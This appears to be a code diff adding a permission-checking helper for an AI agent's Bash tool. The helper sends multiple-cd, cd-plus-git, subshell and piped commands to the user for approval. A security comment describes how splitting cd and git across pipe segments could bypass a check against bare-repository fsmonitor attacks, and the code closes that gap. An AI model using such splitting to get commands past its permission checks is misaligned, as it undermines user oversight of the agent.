tJZCA/IChcbiAgICAgICAgICAgICAgPD5cbiAgICAgICAgICAgICAgICBSdW5uaW5nIGluIHRoZSBiYWNrZ3JvdW5keycgJ31cbiAgICAgICAgICAgICAgICA8S2V5Ym9hcmRTaG9ydGN1dEhpbnQgc2hvcnRjdXQ9XCLihpNcIiBhY3Rpb249XCJtYW5hZ2VcIiBwYXJlbnMgLz5cbiAgICAgICAgICAgICAgPC8+XG4gICAgICAgICAgICApIDogKFxuICAgICAgICAgICAgICByZXR1cm5Db2RlSW50ZXJwcmV0YXRpb24gfHxcbiAgICAgICAgICAgICAgKG5vT3V0cHV0RXhwZWN0ZWQgPyAnRG9uZScgOiAnKE5vIG91dHB1dCknKVxuICAgICAgICAgICAgKX1cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICAgICAgKSA6IG51bGx9XG4gICAgICB7dGltZW91dE1zICYmIChcbiAgICAgICAgPE1lc3NhZ2VSZXNwb25zZT5cbiAgICAgICAgICA8U2hlbGxUaW1lRGlzcGxheSB0aW1lb3V0TXM9e3RpbWVvdXRNc30gLz5cbiAgICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgICApfVxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxPQUFPQSxLQUFLLE1BQU0sT0FBTztBQUN6QixTQUFTQywwQkFBMEIsUUFBUSx1Q0FBdUM7QUFDbEYsU0FBU0Msb0JBQW9CLFFBQVEsd0RBQXdEO0FBQzdGLFNBQVNDLGVBQWUsUUFBUSxxQ0FBcUM7QUFDckUsU0FBU0MsVUFBVSxRQUFRLHNDQUFzQztBQUNqRSxTQUFTQyxnQkFBZ0IsUUFBUSw0Q0FBNEM7QUFDN0UsU0FBU0MsR0FBRyxFQUFFQyxJQUFJLFFBQVEsY0FBYztBQUN4QyxjQUFjQyxHQUFHLElBQUlDLE9BQU8sUUFBUSxlQUFlO0FBRW5ELEtBQUtDLEtBQUssR0FBRztFQUNYQyxPQUFPLEVBQUVDLElBQUksQ0FBQ0gsT0FBTyxFQUFFLGFBQWEsQ0FBQztFQUNyQ0ksT0FBTyxFQUFFLE9BQU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
|
src/tools/BashTool/bashCommandHelpers.ts
ADDED
|
@@ -0,0 +1,265 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import type { z } from 'zod/v4'
|
| 2 |
+
import {
|
| 3 |
+
isUnsafeCompoundCommand_DEPRECATED,
|
| 4 |
+
splitCommand_DEPRECATED,
|
| 5 |
+
} from '../../utils/bash/commands.js'
|
| 6 |
+
import {
|
| 7 |
+
buildParsedCommandFromRoot,
|
| 8 |
+
type IParsedCommand,
|
| 9 |
+
ParsedCommand,
|
| 10 |
+
} from '../../utils/bash/ParsedCommand.js'
|
| 11 |
+
import { type Node, PARSE_ABORTED } from '../../utils/bash/parser.js'
|
| 12 |
+
import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
|
| 13 |
+
import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'
|
| 14 |
+
import { createPermissionRequestMessage } from '../../utils/permissions/permissions.js'
|
| 15 |
+
import { BashTool } from './BashTool.js'
|
| 16 |
+
import { bashCommandIsSafeAsync_DEPRECATED } from './bashSecurity.js'
|
| 17 |
+
|
| 18 |
+
export type CommandIdentityCheckers = {
|
| 19 |
+
isNormalizedCdCommand: (command: string) => boolean
|
| 20 |
+
isNormalizedGitCommand: (command: string) => boolean
|
| 21 |
+
}
|
| 22 |
+
|
| 23 |
+
async function segmentedCommandPermissionResult(
|
| 24 |
+
input: z.infer<typeof BashTool.inputSchema>,
|
| 25 |
+
segments: string[],
|
| 26 |
+
bashToolHasPermissionFn: (
|
| 27 |
+
input: z.infer<typeof BashTool.inputSchema>,
|
| 28 |
+
) => Promise<PermissionResult>,
|
| 29 |
+
checkers: CommandIdentityCheckers,
|
| 30 |
+
): Promise<PermissionResult> {
|
| 31 |
+
// Check for multiple cd commands across all segments
|
| 32 |
+
const cdCommands = segments.filter(segment => {
|
| 33 |
+
const trimmed = segment.trim()
|
| 34 |
+
return checkers.isNormalizedCdCommand(trimmed)
|
| 35 |
+
})
|
| 36 |
+
if (cdCommands.length > 1) {
|
| 37 |
+
const decisionReason = {
|
| 38 |
+
type: 'other' as const,
|
| 39 |
+
reason:
|
| 40 |
+
'Multiple directory changes in one command require approval for clarity',
|
| 41 |
+
}
|
| 42 |
+
return {
|
| 43 |
+
behavior: 'ask',
|
| 44 |
+
decisionReason,
|
| 45 |
+
message: createPermissionRequestMessage(BashTool.name, decisionReason),
|
| 46 |
+
}
|
| 47 |
+
}
|
| 48 |
+
|
| 49 |
+
// SECURITY: Check for cd+git across pipe segments to prevent bare repo fsmonitor bypass.
|
| 50 |
+
// When cd and git are in different pipe segments (e.g., "cd sub && echo | git status"),
|
| 51 |
+
// each segment is checked independently and neither triggers the cd+git check in
|
| 52 |
+
// bashPermissions.ts. We must detect this cross-segment pattern here.
|
| 53 |
+
// Each pipe segment can itself be a compound command (e.g., "cd sub && echo"),
|
| 54 |
+
// so we split each segment into subcommands before checking.
|
| 55 |
+
{
|
| 56 |
+
let hasCd = false
|
| 57 |
+
let hasGit = false
|
| 58 |
+
for (const segment of segments) {
|
| 59 |
+
const subcommands = splitCommand_DEPRECATED(segment)
|
| 60 |
+
for (const sub of subcommands) {
|
| 61 |
+
const trimmed = sub.trim()
|
| 62 |
+
if (checkers.isNormalizedCdCommand(trimmed)) {
|
| 63 |
+
hasCd = true
|
| 64 |
+
}
|
| 65 |
+
if (checkers.isNormalizedGitCommand(trimmed)) {
|
| 66 |
+
hasGit = true
|
| 67 |
+
}
|
| 68 |
+
}
|
| 69 |
+
}
|
| 70 |
+
if (hasCd && hasGit) {
|
| 71 |
+
const decisionReason = {
|
| 72 |
+
type: 'other' as const,
|
| 73 |
+
reason:
|
| 74 |
+
'Compound commands with cd and git require approval to prevent bare repository attacks',
|
| 75 |
+
}
|
| 76 |
+
return {
|
| 77 |
+
behavior: 'ask',
|
| 78 |
+
decisionReason,
|
| 79 |
+
message: createPermissionRequestMessage(BashTool.name, decisionReason),
|
| 80 |
+
}
|
| 81 |
+
}
|
| 82 |
+
}
|
| 83 |
+
|
| 84 |
+
const segmentResults = new Map<string, PermissionResult>()
|
| 85 |
+
|
| 86 |
+
// Check each segment through the full permission system
|
| 87 |
+
for (const segment of segments) {
|
| 88 |
+
const trimmedSegment = segment.trim()
|
| 89 |
+
if (!trimmedSegment) continue // Skip empty segments
|
| 90 |
+
|
| 91 |
+
const segmentResult = await bashToolHasPermissionFn({
|
| 92 |
+
...input,
|
| 93 |
+
command: trimmedSegment,
|
| 94 |
+
})
|
| 95 |
+
segmentResults.set(trimmedSegment, segmentResult)
|
| 96 |
+
}
|
| 97 |
+
|
| 98 |
+
// Check if any segment is denied (after evaluating all)
|
| 99 |
+
const deniedSegment = Array.from(segmentResults.entries()).find(
|
| 100 |
+
([, result]) => result.behavior === 'deny',
|
| 101 |
+
)
|
| 102 |
+
|
| 103 |
+
if (deniedSegment) {
|
| 104 |
+
const [segmentCommand, segmentResult] = deniedSegment
|
| 105 |
+
return {
|
| 106 |
+
behavior: 'deny',
|
| 107 |
+
message:
|
| 108 |
+
segmentResult.behavior === 'deny'
|
| 109 |
+
? segmentResult.message
|
| 110 |
+
: `Permission denied for: ${segmentCommand}`,
|
| 111 |
+
decisionReason: {
|
| 112 |
+
type: 'subcommandResults',
|
| 113 |
+
reasons: segmentResults,
|
| 114 |
+
},
|
| 115 |
+
}
|
| 116 |
+
}
|
| 117 |
+
|
| 118 |
+
const allAllowed = Array.from(segmentResults.values()).every(
|
| 119 |
+
result => result.behavior === 'allow',
|
| 120 |
+
)
|
| 121 |
+
|
| 122 |
+
if (allAllowed) {
|
| 123 |
+
return {
|
| 124 |
+
behavior: 'allow',
|
| 125 |
+
updatedInput: input,
|
| 126 |
+
decisionReason: {
|
| 127 |
+
type: 'subcommandResults',
|
| 128 |
+
reasons: segmentResults,
|
| 129 |
+
},
|
| 130 |
+
}
|
| 131 |
+
}
|
| 132 |
+
|
| 133 |
+
// Collect suggestions from segments that need approval
|
| 134 |
+
const suggestions: PermissionUpdate[] = []
|
| 135 |
+
for (const [, result] of segmentResults) {
|
| 136 |
+
if (
|
| 137 |
+
result.behavior !== 'allow' &&
|
| 138 |
+
'suggestions' in result &&
|
| 139 |
+
result.suggestions
|
| 140 |
+
) {
|
| 141 |
+
suggestions.push(...result.suggestions)
|
| 142 |
+
}
|
| 143 |
+
}
|
| 144 |
+
|
| 145 |
+
const decisionReason = {
|
| 146 |
+
type: 'subcommandResults' as const,
|
| 147 |
+
reasons: segmentResults,
|
| 148 |
+
}
|
| 149 |
+
|
| 150 |
+
return {
|
| 151 |
+
behavior: 'ask',
|
| 152 |
+
message: createPermissionRequestMessage(BashTool.name, decisionReason),
|
| 153 |
+
decisionReason,
|
| 154 |
+
suggestions: suggestions.length > 0 ? suggestions : undefined,
|
| 155 |
+
}
|
| 156 |
+
}
|
| 157 |
+
|
| 158 |
+
/**
|
| 159 |
+
* Builds a command segment, stripping output redirections to avoid
|
| 160 |
+
* treating filenames as commands in permission checking.
|
| 161 |
+
* Uses ParsedCommand to preserve original quoting.
|
| 162 |
+
*/
|
| 163 |
+
async function buildSegmentWithoutRedirections(
|
| 164 |
+
segmentCommand: string,
|
| 165 |
+
): Promise<string> {
|
| 166 |
+
// Fast path: skip parsing if no redirection operators present
|
| 167 |
+
if (!segmentCommand.includes('>')) {
|
| 168 |
+
return segmentCommand
|
| 169 |
+
}
|
| 170 |
+
|
| 171 |
+
// Use ParsedCommand to strip redirections while preserving quotes
|
| 172 |
+
const parsed = await ParsedCommand.parse(segmentCommand)
|
| 173 |
+
return parsed?.withoutOutputRedirections() ?? segmentCommand
|
| 174 |
+
}
|
| 175 |
+
|
| 176 |
+
/**
|
| 177 |
+
* Wrapper that resolves an IParsedCommand (from a pre-parsed AST root if
|
| 178 |
+
* available, else via ParsedCommand.parse) and delegates to
|
| 179 |
+
* bashToolCheckCommandOperatorPermissions.
|
| 180 |
+
*/
|
| 181 |
+
export async function checkCommandOperatorPermissions(
|
| 182 |
+
input: z.infer<typeof BashTool.inputSchema>,
|
| 183 |
+
bashToolHasPermissionFn: (
|
| 184 |
+
input: z.infer<typeof BashTool.inputSchema>,
|
| 185 |
+
) => Promise<PermissionResult>,
|
| 186 |
+
checkers: CommandIdentityCheckers,
|
| 187 |
+
astRoot: Node | null | typeof PARSE_ABORTED,
|
| 188 |
+
): Promise<PermissionResult> {
|
| 189 |
+
const parsed =
|
| 190 |
+
astRoot && astRoot !== PARSE_ABORTED
|
| 191 |
+
? buildParsedCommandFromRoot(input.command, astRoot)
|
| 192 |
+
: await ParsedCommand.parse(input.command)
|
| 193 |
+
if (!parsed) {
|
| 194 |
+
return { behavior: 'passthrough', message: 'Failed to parse command' }
|
| 195 |
+
}
|
| 196 |
+
return bashToolCheckCommandOperatorPermissions(
|
| 197 |
+
input,
|
| 198 |
+
bashToolHasPermissionFn,
|
| 199 |
+
checkers,
|
| 200 |
+
parsed,
|
| 201 |
+
)
|
| 202 |
+
}
|
| 203 |
+
|
| 204 |
+
/**
|
| 205 |
+
* Checks if the command has special operators that require behavior beyond
|
| 206 |
+
* simple subcommand checking.
|
| 207 |
+
*/
|
| 208 |
+
async function bashToolCheckCommandOperatorPermissions(
|
| 209 |
+
input: z.infer<typeof BashTool.inputSchema>,
|
| 210 |
+
bashToolHasPermissionFn: (
|
| 211 |
+
input: z.infer<typeof BashTool.inputSchema>,
|
| 212 |
+
) => Promise<PermissionResult>,
|
| 213 |
+
checkers: CommandIdentityCheckers,
|
| 214 |
+
parsed: IParsedCommand,
|
| 215 |
+
): Promise<PermissionResult> {
|
| 216 |
+
// 1. Check for unsafe compound commands (subshells, command groups).
|
| 217 |
+
const tsAnalysis = parsed.getTreeSitterAnalysis()
|
| 218 |
+
const isUnsafeCompound = tsAnalysis
|
| 219 |
+
? tsAnalysis.compoundStructure.hasSubshell ||
|
| 220 |
+
tsAnalysis.compoundStructure.hasCommandGroup
|
| 221 |
+
: isUnsafeCompoundCommand_DEPRECATED(input.command)
|
| 222 |
+
if (isUnsafeCompound) {
|
| 223 |
+
// This command contains an operator like `>` that we don't support as a subcommand separator
|
| 224 |
+
// Check if bashCommandIsSafe_DEPRECATED has a more specific message
|
| 225 |
+
const safetyResult = await bashCommandIsSafeAsync_DEPRECATED(input.command)
|
| 226 |
+
|
| 227 |
+
const decisionReason = {
|
| 228 |
+
type: 'other' as const,
|
| 229 |
+
reason:
|
| 230 |
+
safetyResult.behavior === 'ask' && safetyResult.message
|
| 231 |
+
? safetyResult.message
|
| 232 |
+
: 'This command uses shell operators that require approval for safety',
|
| 233 |
+
}
|
| 234 |
+
return {
|
| 235 |
+
behavior: 'ask',
|
| 236 |
+
message: createPermissionRequestMessage(BashTool.name, decisionReason),
|
| 237 |
+
decisionReason,
|
| 238 |
+
// This is an unsafe compound command, so we don't want to suggest rules since we wont be able to allow it
|
| 239 |
+
}
|
| 240 |
+
}
|
| 241 |
+
|
| 242 |
+
// 2. Check for piped commands using ParsedCommand (preserves quotes)
|
| 243 |
+
const pipeSegments = parsed.getPipeSegments()
|
| 244 |
+
|
| 245 |
+
// If no pipes (single segment), let normal flow handle it
|
| 246 |
+
if (pipeSegments.length <= 1) {
|
| 247 |
+
return {
|
| 248 |
+
behavior: 'passthrough',
|
| 249 |
+
message: 'No pipes found in command',
|
| 250 |
+
}
|
| 251 |
+
}
|
| 252 |
+
|
| 253 |
+
// Strip output redirections from each segment while preserving quotes
|
| 254 |
+
const segments = await Promise.all(
|
| 255 |
+
pipeSegments.map(segment => buildSegmentWithoutRedirections(segment)),
|
| 256 |
+
)
|
| 257 |
+
|
| 258 |
+
// Handle as segmented command
|
| 259 |
+
return segmentedCommandPermissionResult(
|
| 260 |
+
input,
|
| 261 |
+
segments,
|
| 262 |
+
bashToolHasPermissionFn,
|
| 263 |
+
checkers,
|
| 264 |
+
)
|
| 265 |
+
}
|
src/tools/BashTool/bashSecurity.ts
ADDED
|
